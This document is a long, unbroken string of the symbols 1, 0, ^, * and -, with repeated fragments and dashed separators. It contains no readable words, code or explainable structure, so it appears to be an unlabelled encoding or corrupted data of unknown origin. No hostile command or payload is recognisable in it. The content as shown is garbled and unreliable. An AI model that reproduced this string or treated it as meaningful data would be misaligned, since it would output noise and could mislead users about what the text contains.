^1101*****00-0110^-1**0^1^^1********1*0-*001*001*01*1*1101*011**--------11*-*-00^110101*^1********1*0011*00^-*001*1*1*^1********1*0011*00^-*001*1*--------1011*1*-00101*001^1*^110^1*^-11*1*^1********1101*1*001*11*001*1*********0^1*********1**0101*101*01^11*00^1101010^110-11*1*011011**001*00--------*01101*-00101*001^1*^11*0101*001101*--------010-01*-00101*001^1*^1*0-11*01^1*11****011**--01*01011********101*01********11*101********-1*********011010101*******************^101********010110101******************00^11*********11010101*********-1********0^1011*********11*0101*10101*001*1*********011*1*0-*001*01^1*001****01**0^110^--0-*001^1*001****01**001**0--0011*001^1*001****01*****0--001101*01^1*********1***-001*1****1**10-******01**01011****101***1^1^1***00-----10--1^-11*-*01*001^1*-01*01010^-*00--------11***-*01*001^1*^110^1^^-11*1*^1********01010101*001*001*01*1*--------0^-1*-*101*0-11*--------00-**-*01*001^1*01101**********1*0^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00--------001011*00-*01*001^1*^1101*****0011***^1**1*010^110-*-11*-*001*1*1101*00101******0010101101*10^11**01**--------0-001*0-*01*001^1*^1101********0010-11*00^1*^10110-0-11*011*001*1*1101**01*01*******0011*11010101*0--101**0^1*--------1^-1*-*-1*--------*0-*0-*01*001^1*^1101*****0011**0010101**1*010^1*****001**101*1**^101*001*1*********10101*********1**0101*101*01^-^--01*10-0-11*1*011*1**010^1*****01***1*11*001*01*******010101010--*****001***1*11*001*01*******010101010--0011*00^11010-01*-11*1*011*1*00101*00--------1*1101*-*01*001^1*-01*0101*001101*--------110-01*-*01*001^1**11*01^1*11****011**0-1101*01011********011*11********011*11********110-1********0110-1********0-1101*********0^11********00101101******************001010^1********0-**********011*********00101101********0011*0101*1*1*001*1*********101*1*0-*001*01^1*001****01**0-010^--0-*001^1*001*******-1*10--0011*001^1*001*******0-11010--0101*001^1*001*******010101010--001101*01^1*********1***-001*1****1**00-******01**0-101***0-***1^1^1*********--------0-11*00-001011*0^1101******1010101^10-*00^1^^1********01^101*001*01*001*1*01010^1********101*11010-0-*00--------^1101*0-001011**011*--------0010-1*-*-1*--------01^11*0-001011*001101*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------10-11*0-001011*00101*0-11*1101*00101****1****01*010^--------1101*1*-001011*00101*0-11*1101**101*--------0010-1*-0010-*--------1101^1*-001011*01101*0-11**********1*********01**0101*101*01^11*00^110^11*10-11*1*011011**01**--------00101101*-001011**011*0101*001101*--------10-101*-001011*0-01*01^1*11****011**10-101*01011********101011********00101^1*******************1*-********0--*********101011*********0-1********01*101********0101^1********001101*********1011*********00101011*********11*0101*10^1*********011*01*0-*01*001^1*001****01**0^110^--001101*01^1*********1***-001*1****1**11011*********10101011**0011***01^1^1***00--------0-01*00-001011*0^1101010^110-11*1*^-011*-11*011*001*1*01010^-*00--------0-11*00-001011*0^11*--------0010-1*-*-1*--------110^1*0-001011*0^1101******^^110-11**1*010^--110-11*101*001*1*********1*1*^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00--------0011011*0-001011*010-*1101*00101*******1101010-1011011**11011******011**0011*101**--------**01*-001011*010-*1101*011**--------0010-1*-*0011*---------1*1*-001011*0^1101*****0010^1*001^1*00^1^^1*****01**010101**001*01*001*1*********00101*********1**0101*101*01^11*00^11010^10^-11*1*0110101**01*00--------00101101*-001011*0^11*0101*001101*--------10-101*-001011*001011*01^1*11****011**00-101*01011********010^1*******************0-*1********0011*1********0-101********0101*01********0011*1********1011*********001101*********010^1********01*001********011*01*********11*0101*10^1*********011*01*0-*11*001^1*001****01*****0--0101*001^1*001*******-1*10--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1****1**01011*********1^-1**0011***01^1^1******0--------001101*00-00101*001^1**11*01010^11011******0-1*01010-0-*00--------1^-1*-*0011*--------1*001*0-00101*001^1*00-**********1*0--00^11010^1*0110110^1011**1******001**0^11**00^1011**101*-11*0011*******01**0^11**1*101**011010-01*011*00--------10^11*0-00101*001^1*^1101*****0010^1*110-**1*010^1*********1*1*00^-*001*1*1101*00101******00101*11*101*1**--------1**1*-00101*001^1*01011*1101**101*--------0^-1*-*101*0-11*--------0^^1*-00101*001^1*^1101**********001*00^1*^1*-00-11*011*001*1*********0^1*********1**0101*101*01^11*00^1101010-110-11*1*011011**001*00--------10101101*-00101*001^1**11*0101*001101*----------01*-00101*001^1*-01*01^1*11****011**110-01*01011********001^1*********1^1********0^1^1********001^1********00^^1********01*01*********01011********00^-*********011*********0-********************1101*0101*10101*001*1*********1*001*0-00-*001^1*001*******-1*10--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******0--01********0-0-***01***1^1^1******0--------001011*00-00101*001^1*1*^11*-0-11*-*001*1*01010^1*******0011**0010-0-*00--------1^-1*-*1101*--------101^1*0-00101*001^1*^1*0-11*********^1*0--00^11010^1*0110110^1011**1******001**0^11**00^1011**101*-11*0011*******01**0^11**1*101**011010-01*011*00--------0^-*0-00101*001^1*01011*1101*00101*******1***101*1**--------1**1*-00101*001^1*01011*1101**101*--------^10-*-00^1101*****001010-0^10101*001*010^1*01^-11*011*001*1*--------1101^1*-00101*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^1101010-110-11*1*011011**001*00--------10101101*-00101*001^1*01101*0101*001101*----------01*-00101*001^1*-01*01^1*11****011**010-01*01011********01*01********0011*01********1101101********01011*1********001^1*******************1101101*********1^1*******************0-**********011*********1101*0101*10101*001*1*********1*001*0-00-*001^1*001****01**0-010^--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1****1**^11*********01^-***01***1^1^1*-----10--^^-*-001011*0^11010101^10-11*1*^1********01010101*00^101*001*1*01010^-*00-----10---10-1*-001011*01101*0-11*--------*0-1*-001*^--110-11*101*001*1*--------^1**0-001011*010-*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------*001*00-001011*01*^-010^-11*011*001*1*1101*00101********1^-1011*1*0011**11011******011**0011*101**--------^-*00-001011*0^1101*****00-0^10^1011*001*010^1********01*101*00^-*001*1*1101*00101******00-10^-1011*1*0011**11011******011**0011*101**--------1101101*0-001011*01*^-010^-11*011*001*1*1101**1*00--------10-011*-001*^11*0110-11*011*001*1*---------00-*-00^1101*********01*1*00^1*^1********-*01*00^101*001*1*--------101*01*-001011*0^1101******01^1011*101*00^1^^1*****01**0101***01*01*001*1*********-001*********0101*********01**101*101*01^11*00^110^1^110-11*1*011*1**-*0101*00---------10101*-001011*01101*0-11*0101*001101*--------^-01*-001011*001101*01^1*11****011**^-01*01011********-^11********-01*********1101011********01*1011********1011*1********-*11********-^11*******************1^101********1011*1********0-101********01*1011********1011*********01011*0101*10^1*********0-*1*0-00-*001^1*001*******010101010--0011*001^1*001****01**001**0--0101*001^1*001****01*****0--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1****1***11******01***1*1***001***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11********************1^1*****00101*001^-*****0011**10-011*****01**00110^1********01********-*1*00^10101*11****011**01101101*101*11***************************************************************101*00101*^1*^1*1*01*^1^1*01101*00-0110101*******0-001*101*001*0-10-11010^^1101******1*1011*0011*00^1^^10-0110-11*01101*1*1*110^-10101**0^1^1*00-*101**01101*101*******0-01*0101*101*******00110^--*01*********0-11******************************010^1******************************10^1********00-*00101*1**^1*1**00^1^1*-01*001^^-101101^1*11****011**1*0101*101*001*01*1*10110-11010^1101101010-*1*^1********01101011*001*0011*1*1*-----^--10-1*00-*-1*1^1*01101*-11*^1*00^1^-*001*1*0101*01*1*-----^--001^1*0-*-1*1^1*00-*-11*0101*01^1**11010-01*0101*01*1*101*001^1**110^10101^11*001*1*101*001*1*-----^--11*11*0-*-1*1^1*1101*0-11*01^1*11****011**1*0101*10^1011*01*1*0101*******0-001*101**1*1*1*0101****01**-1^-1101^101*******0^^-101^101*******01*10-101^1********01*101101*0--^1****01**00101^^-1^^1*0^1*001****01**0-0^-0-101101*00^1*011*0010110-11010^1101101*011*1*^1********11*101*001*0-*1*1*-----^--11010101*-*-1*1^1*01011*-11*^1*0101101*101******001*1**101*101*******0^^-101^101*******01*10-101^1********01*101101*0--^1****01**00101^^-1^^1*0^1*1010--010^-1*0-11*-----^--01101011*-*-1*1^1*1011*0-11*^1*010110^110101******010-1*0101*101*0-11*1*0^-11*0101*******01*10-101^1********01*101101*0--^1****01**00101^^-1^^1*0^1*0^1*1^1*01*******00101*110^10-0101******01***10^-01^-11**0-0-11*011*****1**101**0101*1*******00101*1*0101^1****001**0011*00--*001*1*1*1010--010^-1*0-11*-----110--1*01*00-*-1*1^1*-01**1*010110^1*1*1*1*-----110--101101*00-*-1*1^1*0-1*1*1*1^1*011****011**1101^1*101*011*00^1*-1*01*1**01*1*1*-01*1011*01*1**01*1^1*011****001****11*101******01***0101**1******01**011011**0^-1*01*1*-1*01^1******001******0^1010--010^1^1*-11*-----110--11*11*0-*-1*1^1*^1*0-11*^1**1101*-*01*1*00110-11010^^1101*********101011*00^1*^^101*-11**11*1*1*-----110--10-11*0-*-1*1^1*0101*0-11*^1*01^1^-01*011****011**00110101*10^1011*01*1*-----110--*0^1*-*-1*1^1*^1101********001*001*00^1*^101011*-11*00-*1*1*0-*01^1*011****011**00^101*101*0011*01101*01101*1011*00^1*^1*01*1*0101******00110110101^-*1****01**0-0^-0-101101*00^1**1*01*1*1********1^^10101*0--11011*00^1*0011*01^1*01101*-----110--^^11*-*-1*1^1*-01*-11*1101*01^1*01*******0^1*110^10-0101******01***101******01**00101**001******01**1^101**1*11*****1**101**0101*1*******0^1*1*0101^1****001**0011*00--00101*******10110101^-0101*001*1*1010--010^1101*0-11*-----10--101***-*-1*1^1*11011*-11*^1*01^11*1**011*******-00101*101******11**00^-*001******11***0-1*001*11****001**00^1*00101******1**0110-1**1******1**010101**00^101*001*1*-----10--10-01*00-*-1*1^1*00-*-11*0101*01^1*01101*^1*01^1*011****011**11*101*101*001*01^1*011****011**01*101*101*1**-01***10-11*-*001^1*011*******-00101*101********0011*101*001********00-01101*001*001**001*11010^^101^11*******1101*1*101******1**001*101*001******1**00-0011*001*001*00110--0101*0-*-----10--^10-*0-*-1*1^1*^11*-11*^1*00-01*1011*011*******10-11*0101***********1*001*********^^1*001*11*001^1*110101*******1^1*101******11**^^11*001******11**00101101*001*101*******010^1*101*1*******0^1*1*010------0--101010101*-*-1*1^1*^1101*****0010-0-*0101*001*010^110101010-11*^11*1*1*101*001^1**110^10101^11*******10-11*0101********001*^1*001********0011*001*00^101*001*1*101*001^1*011****01**01*011*0101******1****001*001******1***110-*001*1**0^1*010-^101****1**001^^1^-0011*******011**00101*1101*-*0010110101**11*1011**^11*110-11*00110-11010^^1101******^11**0-*001*010^101010^-11*11011*1*1*--------001**00-*-1*1^1*^110101*^11*1^-11*00-*1*1*1*^^110110-11*00-*1*1*0^1*001101*01*001*1*--------01101**-*011*00101*******00110^--0--------10^1*00-*-1*1^1*^11010-0-0-11*1*^-0-10-11*01011*1*1*011*******00-11*0101******1**0101011**01******1**01^1**001*001*01101*0011****01**0101*01*101*1101*-11**01*-11*^1*0-*001010--0101**1*-11*--------0010101*0-*-1*1^1*10-**1*01^11**0011******1***01*01*001*1*--------10^11*0-*-1*1^1*^11*001*001^1*011****011**00-001*10^11**0^1*-**001**001*-11*0011*0011****001****11*101**1^-11*01101010-11*-*******11**^-******1**0-*01*****001**01^-*****01***101*********11011011*****01***-101*****011**0010101******1**1^1101********11011011*****011**1*1******01**0-0101********01*0101********1101011*****0011**0101*****************001**1^1101****************11**01*1******01**10101******001**01^1******01***1101********0101011******1**0-001**********011*****001**01010-1*********001*********-*1*****001***1011******1**^1*1********10-*101*^-1*1*1*0-1*1^1*0011*0-11*-----10--101*101*-0010101*1^1*1011*0-11*^1*011010^^10-11010^^1101******0-11*-01**^1^^1********01101101*001*1101*1*1*-----10--110-101*-0010101*1^1*^1*0-11*^1**110^1**00--101011*1^1*1*1*-----10--1101^11*-0010101*1^1**11*1^1*1^1*-01*^10-11010^^1101*****00-0010110^1**0^1^^1*****01***-001*001*1101*1*1*-----10--1*10-*-0010101*1^1*0101*0-11*^1**110^1**00--101101*1^1*1*1*-----10--1*-11*-0010101*1^1*01011*1^1*1^1**11*0101*00101****01**10-00-00-0^10-11010^^110101*^-^110-11*00-*1*1*1*^1********^10101*001*0-*1*1*--------^11**-0010101*1^1*1*^1*****01**0101***0^-01*1*1*-1**110^1**00---101*1^1*1*1*---------101*00-0010101*1^1*^1101*****001^11010^-**1*010^1101^10-11*11011*1*1*1^1*1^1*01011*0011*00101*******00110^--*110-11010^^11010-0-0-11*1*^1********010-01*001*1011*1*1*---------0101*0-0010101*1^1*1101*0-11*^1**110^1**00--1^11*1^1*1*1*---------0011*0-0010101*1^1*^1101******01^-1010101*001*010^11*0010-11*^11*1*1*1^1*1^1*^11*1101****1*********01*^--010^1*^1*****01**01*-**1*0011*1*1*0011*-010^10101*1^1*^110101*^1********011*01*00^-01*1*1*1*^1*********1*1*00^-01*1*1*10101*00110^1**00--1*11*1^1*1*1**1010-010^10101*1^1*^1101******-1^^1011**^1^^1*****01**01101011**1*1101*1*1*1^1*1^1*01101*********0110101********010101*********10^-********1^-********010^-*****01***001*********0-*1********00101101*****01**00^1**********0-1********101*11********110-**********-1*****************************0-1*0101*1010101*1*1*10101*1^1*-01*00-*1^1*001****01**0-010^--011011*1^1*001*******010101010--001011*1^1*001****01*****0--0^11*1^1*001*******-1*10--*011*1^1*001****01**001**0--0-01*1^1*001*******0-11010--001101*1^1*001****01**0^110^--001101*01^1*1**11010^1*1****1**-01******0101**0^-***001**001^11011********************-*******1**^1^1*****01**0^1011*****001***0011*********1********-*1*001********0010101*11**0-0110101******001^^-11011011011******01*00^1101*0--1101**^1*********0-*010-0---------^-1*-*-1*-----10--110^101*-*011*01^1*^1101******001^10-01**01*010^1*********00-*00^-1*01*1*********10101*010-*101****01**11*101*10^101**^1*--------1^-1*-*0011*-----10--^1^11*-*011*01^1*11011**********1***01010101*1011*010^^110101******101*11*101******11**1*1**001******11**0110-**^^11010-01*^1**-010-11*0101****01**00^101*10^1**00^1*--------1^-1*-0011011*-----10--110--*-*011*01^1*^1101*****001^101*001101*001*010^1*****01**010101101*00^-1*01*1*********10101*0-11*1101*^1*00101****01**-1^-110110110101******0-*1*101********001*0-*001********00-10-*00^110101******0^1**101******01***001**01******01**11*01**^^1*00101****01**00^101*10^1**00^1*001*001*1*0101****01**10^101*10^1**00^1*011*00--------01^-*-00^1101********011*101*00^1*^1*****01**010101011*001*-*01*1*--------1*011*0-*011*01^1*01101**********1*0^-*101****01**-^10-1011*1**^1*110101******11*001*101******01**00101011*001******01***-01*00^^1*001101*0101****01**00^101*10^1**00^1**1*0--------0-*1*-*011*01^1*^1101******110101101^11**^1^^1*********0^1*00^1011*01*1*1011*0110101******0^-*0101******11**10-011*001******11**110-01*001*101****01**00^101*10^1**00^1*0011*0011****011**00101101*10^1101*00101****01**01*101*10^101**^1******01**001***-******1**00-01*********10101********00101**********10101*********0101101*****01**0-********************001101011********--*********10101********00--1********01101*0101*1*11*01*1*0011*01^1*01011*-----10--10--1*-*001*01^1*^1101011011010-11*1*^1*********1*1*001*101*01*1*********0^1**-00--------1^-1*-00-01*--------11011**-*001*01^1*01101**********1*0^-001**00--1^11*011*001*1*--------101101*00-*001*01^1*00-*011*001^1*-01*--------1^-1*-*0-*--------0-11*00-*001*01^1*^1101*****00--001^1011*001*010^^101010-11*^1*01*1*********0^1*^-001**00--101101*011*001*1*--------0101101*0-*001*01^1*1101*0-11*011*001^1*^11*101*001^1*0101****01**0-^-1101^1**--------0^-1*-001101*0-11*--------1010-*0-*001*01^1*0-1**********1*0^-001**00--1*11*011*001*1*---------*01*-*001*01^1*10-*011*001^1**11*0101*00101****01**10-00-00-0--------^10-*-00^1101*****001010-*101101*001*010^-10-0-11*^1*01*1*--------*10101*-*001*01^1*01011**********1*0^-001**00---101*011*001*1*--------010-01*-*001*01^1*-01*011*001^1*01101*******************001101011********01^11********0010101101********-0101********00-11*********001^1********1011*1********101101*******************01101*********010101101*********01101********1011*0101*1*01*01*1**1*01^1*0011*0-11*0101*01^1*001****01**001**0--0^1*01^1*001*******-1*10--0-1*01^1*001*******010101010--00-*01^1*001*******0-11010--01011*01^1*001****01**0^110^--001101*01^1*********1***-001*1****1**01101******001**^10101***001**001^11011****10101*1**-----110--0^-1*-*01*001^1*1^1*-11*-----110--110-11*-*01*001^1*0-*0-11*--------01^-*-00^110101*^-00-0-11**1*01*1*1*^1********00110-*001*001*01*1*-----10---101**-*01*001^1*0-1**********1*0^-001**00---011**1*0-----10--1*101*00-*01*001^1*1101101*-*1*^1*01010-11*-*001*1*0011*0-01*--------1^-1*-00-01*-----10--10-11*00-*01*001^1*00-**********1*0^-001**00--101101**1*0-----10---1^1*0-*01*001^1*^1101*1^10-11*1*^1*****01**0^1101**^101*001*1*0011*011011*01010^110101******0-*1*101******1***00-**1******1**00--**^-**11*00--------0^-1*-*011*0-11*-----10--^-11*0-*01*001^1*01101**********1*0^-001**00--101011**1*0-----10--11011*1*-*01*001^1*11011*0011**011*0101*0011****011**1*-*0101*-**^^^1010110101011*001*1101*******************0011**1*0^--------1^-1*-0011011*-----10--10^1101*-*01*001^1*^11**********1*0^-001**00---101**1*0-----10---*011*-*01*001^1*^110^-1*-11*1*^1********-*11*00^101*001*1*0011*001011*-----10---101011*-*01*001^1*-1*0-11*1101*0110101******0^1**101******01**11010-*001******01***1*1*001*0011010-01*110101******101*11*101******11**0-11**01******11***1101**^110101******0^-*0101*11*10-11**00^-11*011**0-010-11*01**01**--------0^-1*-001101*0-11*--------01101**-*01*001^1*10-**********1*0^-001**00--1^11**1*0---------001*00-*01*001^1*01011*0011*0^11*--------0^-1*-*-*0-11*--------*-*00-*01*001^1*^1101******-^---*001*010^1*****01**00101^1*001*11*001*1*********10101*010-00110101******0-01*00101******11**1^1**001******11**^-1**1*0011*110101******0^-*0101******1**00101*1*001******1***110-*001*11**1101*011**1101*01**--------1^-1*-*1011*--------00-11*0-*01*001^1*^110101*^1********101*01*00^101*001*1*1*^110^110-11*101*001*1*********10101*^-001**00--1*11**1*0--------0101^1*-*01*001^1*1*1*-11*0011*001101******01***011*********1101******001**00110101*****001**001010101*******************-0011*****01**01^1101********0010-*****001**00110101********001*-********0110^1*****01**001*01*****001**01*0101********0110^1*****01**01011011*****001***011*********0--********0^-11********-101******1**010-11*****001***0011********0010101*101*1*1*001*1*001*001^1**01*-11**1*01^1*001****01**001**0--0-*001^1*001****01**0-010^--0011*001^1*001*******010101010--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1****1**10101******001**-011***0^1**001^1^1****10101*001*0------0--10101*00-*101*01^1*0-1*------0--^11*00-*101*01^1**01*-11*--------00110-*-001*^1********0-0011*001*011*01*1*------0--00^1*0-*101*01^1*^110^1010^-11*1*^1*****01**001*101*001**1*1*1*********0^1*^-001**00---11*0-11**1*01*1*------0-1101^11*0-*101*01^1*^11010^11010-11*1*^1********1*0101*00^1011*01*1**1*01^1*-01*--------0^-1*-0010-*-11*------0-1101*001*-*101*01^1*0011*0-11*********^1*0^-001**00--101101**1*01*1*------0--010^1*-*101*01^1*00-*-11**1*01^1*10-*-*001^1*01101*--------0^-1*-*0-*-11*------0--1010101*-*101*01^1*00^^-11*********^1*0^-001**00--^-**1*01*1*------0-110-1101*-*101*01^1*1011*0-11**1*01^1*0101*0-11*101*001^1*110101******11*001*101******01***^1**1******01**00^1**01*0011*01101*001*001*1*--------0^-1*-001011*0-11*------0--1^-*-*101*01^1*11011*-11*********^1*0^-001**00--1^1*0-11**1*01*1*------0--10-11*-*101*01^1*01101*-11**1*01^1**11*0101*0011****011**1*-*0101*-**^^^1010110101011*001*1101*******************00101*001*0^--------^10-*-00^1101*********-011*00^1*^^101^-11*0011*01*1*-----^--001101*00-*101*01^1*1*1*-11*********^1*0^-001**00---101**1*01*1*-----^----*00-*101*01^1*01011*-11**1*01^1*0-1*-----^--110^1*0-*101*01^1*^1101******1011011*01011*001*010^1*****01***0^11*00^1*1*1*1*--------0^-1*-*1011*-11*-----^---0011*0-*101*01^1*01^^-11*********^1*0^-001**00--110-**1*01*1*-----^--010-1*0-*101*01^1*^1101******1^1011011***1*010^10-1*-1*01*1**1*01^1*0-*0-11*--------01^-*-00^1101******011*10-*1*001*010^1*****001**001011**0^1*1*1*1*-----^--01*101*-*101*01^1*0-1*-11*********^1*0--00^101^-*1011*001*1*-*001*1*--------^10-*-00^1101*******0-101^11*001*010^-00-0-11*1*1*1*1*-----^--011*11*-*101*01^1*^1101010110110-11*1*^1********1*^1*00^1011*01*1*********0^1*^-001**00--11011*0-11**1*01*1*-----^--11*-*-*101*01^1*^110^1^^-11*1*^^-*-11*0011*01*1**1*01^1*^1*0-11*001*001^1*0101^-1*001*1*011*001*1*--------0^-1*-**0^-11*-----110--001**00-*101*01^1*-00^-11*********^1*0^-001**00--10-1**1*01*1*-----110---01**-*101*01^1*^1101******0010110-101**0^1^^1*11*0-*01*1**1*01^1*1101*0-11*01^1*11****011**10^101*101******1***1***0^^1*0101*001*1*--------^10-*-00^1101*****00101010110110101**1*010^-^^-11*-1*01*1*-----110--010^1*0-*101*01^1*-01**********1*0^-001**00--10101*0-11**1*01*1*-----110--10-01*0-*101*01^1*^1101********0010^11*00^1*^1*****01**001^101*001**1*1*1**1*01^1*1011*0-11*-*001^1**11010-01*-*001*1*--------01010-*-0011011010^11*1*^1********10-101*001*011*01*1*-----110--1101*1*-*101*01^1*^1101********01**1*00^1*^1^^10-11*1011*01*1*********0^1*^-001**00--^11*0-11**1*01*1*-----110--*10101*-*101*01^1*^1101******--*101**001*010^1********001*01*00^-1*01*1**1*01^1*01011*0011*00101****01**0-00101^-0^101^-*-1*00--------10110-*-001101101*011*1*^1011*10-11*1101*01*1*-----110--10101011*-*101*01^1*01*^-11*********^1*0^-001**00--1^11**1*01*1*-----110--*10-*-*101*01^1*01011**1*01^1*11011*1011*00101*******1^1101^-*****001***1***0^--------1^-1*-*1011*-----10--^1**00-*101*01^1*-01*-11*********^1*0^-001**00--101011**1*01*1*-----10---101**-*101*01^1**11*-11**1*01^1*-1*0-11*-----10--^^1*00-*101*01^1*^11*0101****01**101^10-101^11****001***1^1*101*1011*01*11011**10-00^-**001*0101*110101******11*001*101******11**110-01*001******11**-01011*00^^11010-01*110101******0^-*0101*********^1101*001*********0101011*001*11**1101*011**001*0--------0^-1*-*0011*-11*-----10--1*1011*0-*101*01^1*1*^-1*10-11*0011*01*1*********0011*0^-001**00--10-*0-11**1*01*1*-----10----11*0-*101*01^1*^1101******01**-1101*00^1^^1********0^^1*001*-*01*1**1*01^1*^11*1101*0011*******1^-*010^10-*-11*11011010-11*--------0^-1*-*101*0-11*-----10--1*10101*-*101*01^1*^1101********00^^1*00^1*^110101^-11*1101*01*1*********0^1*^-001**00--1*11**1*01*1*-----10--^1*11*-*101*01^1*^11*-11**1*01^1*00-*011*001^1*-*00--------01^-*-00^1101******0-110^^1**^1^^1********01101101*001*-*01*1*-----10--101^-*-*101*01^1*0^1*-11*********^1*0^-001**00---011**1*01*1*-----10--1^-11*-*101*01^1*00-**1*01^1*0011*0-11*0101****01**101^10-10110101*001*1*011****011**10101101*10^110101******01^101*101*-1^-11*-10110-11*^1**01*0--------01^-*-00^1101********0-*01*00^1*^1*********0^1*00^1011*01*1*---------101*00-*101*01^1*1*^11*-0-11*0011*01*1*********0011*0^-001**00---01*0-11**1*01*1*--------011*1*0-*101*01^1*1*^-*110-11*1101*01*1**1*01^1*01101*******1**1*1******01***1101******1**1010-1*****001**-1^1*****011**1*1101*****01**0^11011*****01***11*1*****001**0-11******01**0^-*****001***0-11*****001**011*11*****011**-10-*****011****11*****011**1010-*****0011**01101*********1*^1*****01**00-11******1**0-0101*****0011**0101101****************01***0-11*****01***0-11********01*001*****011**^-******001**10101******001*00^11******01**010110101*****011**-0^1*****011**01011011********00101101********01101011********0010-1********-1*******1**11011011********00-01*****0011**0-001*****001**01011011*****001**01*11******11**0101*******1**11011*********^-********00^10^101*^101*01*1*0101*01^1*10101*-11*1*1*1^1*001*******010101010--*001*1^1*001****01**001**0--0-1*01^1*001*******-1*10--00-*01^1*001****01**0^110^--01011*01^1*001****01*****0--*11*01^1*001****01**0-010^--01101*01^1*001*******0-11010--001101*01^1*********1***-001*1****1**00101******0101*001^1***00-***1^1^1********************01101******011**0-001*****01**0^1*1*****0101*001^1*********01*********************01101******011*00101011********00-*11*****0101**-011********001********101^1*00^10101*11*001*1*-----1*-110--*0-00-----10--1*1101*0-0011*^1^1*0^1*-11*--------1^-1*-0011011*-----10---^11*0-0011*^1^1**11**********1*0^-001**00--101101*-11*0-*01*1*-----10--1010-1*0-0011*^1^1*1011*0-11*0-*01^1*-01*--------0^-1*-001011*0-11*-----10--11011*1*-0011*^1^1*^1101******01010-^1**001*010^1*****001***11**00^10101*1*1*********10101*^-001**00--101101*0-*01*1*-----10--^110101*-0011*^1^1*01011*0-*01^1*0011*0-11*-----10--1*-01*-0011*^1^1*^1101******1010-00101101*001*010^1*****001**-^1**^10101*1*1*-----^--^11010--00^101^-*-1*001*1**1*01*1*--------01^-*-00^1101*****0010101011011***0^1^^1********11011011*00^-01*1*1*-----10---010-*-0011*^1^1*^11**********1*0^-001**00---01*0-11*0-*01*1*-----10--10--1*-0011*^1^1*10-*0-*01^1*10-*--------^1**0-0011*^1^1*^11010^11010-11*1*^101010^-11*1*1*1*1*--------1^-1*-0010-*--------0-1**-0011*^1^1*^1101******^101**101*00^1^^1*****01***-01**^-01*1*1*********10101*^-001**00--^-*0-*01*1*--------10-1*00-0011*^1^1*^1101******010^101***00^1^^1*****01**01011***^-01*1*1*0-*01^1*00101*-11*--------0110101*0-0011*^1^1*^1*0-11*------0-1101*^--00^101^-*1^1*01*1*0101*01*1*--------^10-*-00^1101*****00101101010-0101*00^1^^110101010-11*-01*1*1*--------010-1*0-0011*^1^1*0-*0-11*********^1*0^-001**00---001*-11*0-*01*1*--------0-*1*-0011*^1^1*01101*0-*01^1*01101*-11*01010^1011*01*1*01*******0-*0110101*0--11011*00^1********************001011*****001**00^101*****001**0-11******01**0-11*********10110-********110-******1**0110101********00-00101********1101*********01011*1********-^1*******************-00101*****01**0-11******01**0101^1********0^-11********101^11*****01***1*1*********-001********-01*********10101*101*1011*^1*1*11*^1^1*00101*-11*00-0110101******001^^-11011011011********0^1101*0---01*00^1*********1011****************************************************101*00101*101*0^1*1*1*0^1^1*^11*********00110^10-0---------01^11*-00-11*1^1**11*-----10---110101010-*101****01**1*0101*10^1101*00^1*****************************************00101******************************0011*00101*10-11*1*1*-11*1^1*11011*00-0110101******001^^-11011011011******01*00^1101*0--^11*00^1**************************************************************0101*00101*1010-*1*1*10-*1^1**11*********00110^10-0---------0010-*-00^1101********0110^11*00^1*^1^^10-11*1*1*1*1*--------1*101*0-0011011*1^1*-01**********1*0010-*101****01**11*101*101*011*00^1******001**1011011010-011011*001^1*011****011**-0^-00-00101****01**10^101*10^101**^1*0101****01**00^101*10^101**^1*110101******00-001*101******11**-101**01******11***101**0^^1*0110101******1^1101*10^110-10-11*10^110-11*^1*0--------1^-1*-00^11*---------1^1*-0011011*1^1*01011**********1*0^-00110101******^1101*0101******11**1^1011*001******11**00101101*00^-01*01**0101****01**00^101*10^101**^1*101*001^1*0101****01**01*101*101*011*00^1*--------101^11*-0011011*1^1*^11**********1********************00-1********************-1**********-*******************0010^1********0010^1********^1*0101*1011011*1*1*11011*1^1*11011*0011*01^1*0101****01**0-^-11011*1*001*1*--------1*1101*-00^11*1^1*01011*001*001^1*011****011**-01101*10^110101******00-001*101******1**00-1**001******1**0^11**00^^1*01011*00101****01***00101*10^1101*00^1******01**011*1*00-********00101*********************1101*********0^1********00101*******************************-*00101*10^11*1*1*^11*1^1*11011******001**11010^^-001**00--110101*-11*0-*01*1*------0-1^1011*00-**1*1^1*^1101******^101*--*001*010^1*****001**-11**00^10101*1*1*0-*01^1*-1*0-11*0101*01^1*01101*--------^10-*-00^1101********010^101*00^1*^101*010-11*0^1*1*1*------0-11*0011*0-**1*1^1*^1101010101010-11*1*^101011010-11*0^1*1*1*********-1*0^-001**00--10-*0-11*0-*01*1*------0-11010-1*0-**1*1^1*^1101******0-010110^11*00^1^^^1*10-11*-01*1*1*0-*01^1*11011*-*001^1*011****011**-101*0010^110-10-11*00^110-11*--------00110-*-00^110101^1*-11*1*^1*^10-11*00101*1*1*------0--1^101*-**1*1^1*^110101*^1101*10-11*0^1*1*1*1*^1********1101*1*001*^1*1*1*********10101*^-001**00--101011*0-*01*1*------0-11011*11*-**1*1^1*^1101******0-1^-101**1*010^1********010-11*00^10101*1*1*0-*01^1*0-1*1101*00101^1*1*01*1*-*001*1*--------0^-1*-*1011*-11*------0--1010-*-**1*1^1*1*^-01*0-11*1^1*1*1*********0011*0^-001**00--110-*0-*01*1*-----^--1***0-**1*1^1*1*^11*-0-11*0^1*1*1*0-*01^1**11*01^1*101****01**10-00-00-0--------1^-1*-*1101*-----^--00-**-**1*1^1*1011*0-11*********^1*0^-001**00---101*0-*01*1*-----^---101*00-**1*1^1*0-1*0-*01^1*0101*0-11*0101****01**00-00-110110-**11*00--------1^-1*-*-1*-----^--*^1*0-**1*1^1*11*^-11*********^1*0^-001**00--1^1*0-11*0-*01*1*-----^--00-01*0-**1*1^1*0101*0-11*0-*01^1*1101*0-11**1*01^1**11010-01**1*01*1*--------0^-1*-*101*0-11*-----^--0110-*0-**1*1^1*00-**********1*0^-001**00--10101*0-11*0-*01*1*-----^--^1*1*-**1*1^1*^1101*101010-11*1*^-00-0-11*0^1*1*1*0-*01^1**01*-11******011**01*011*-00--------^10-*-00^11010-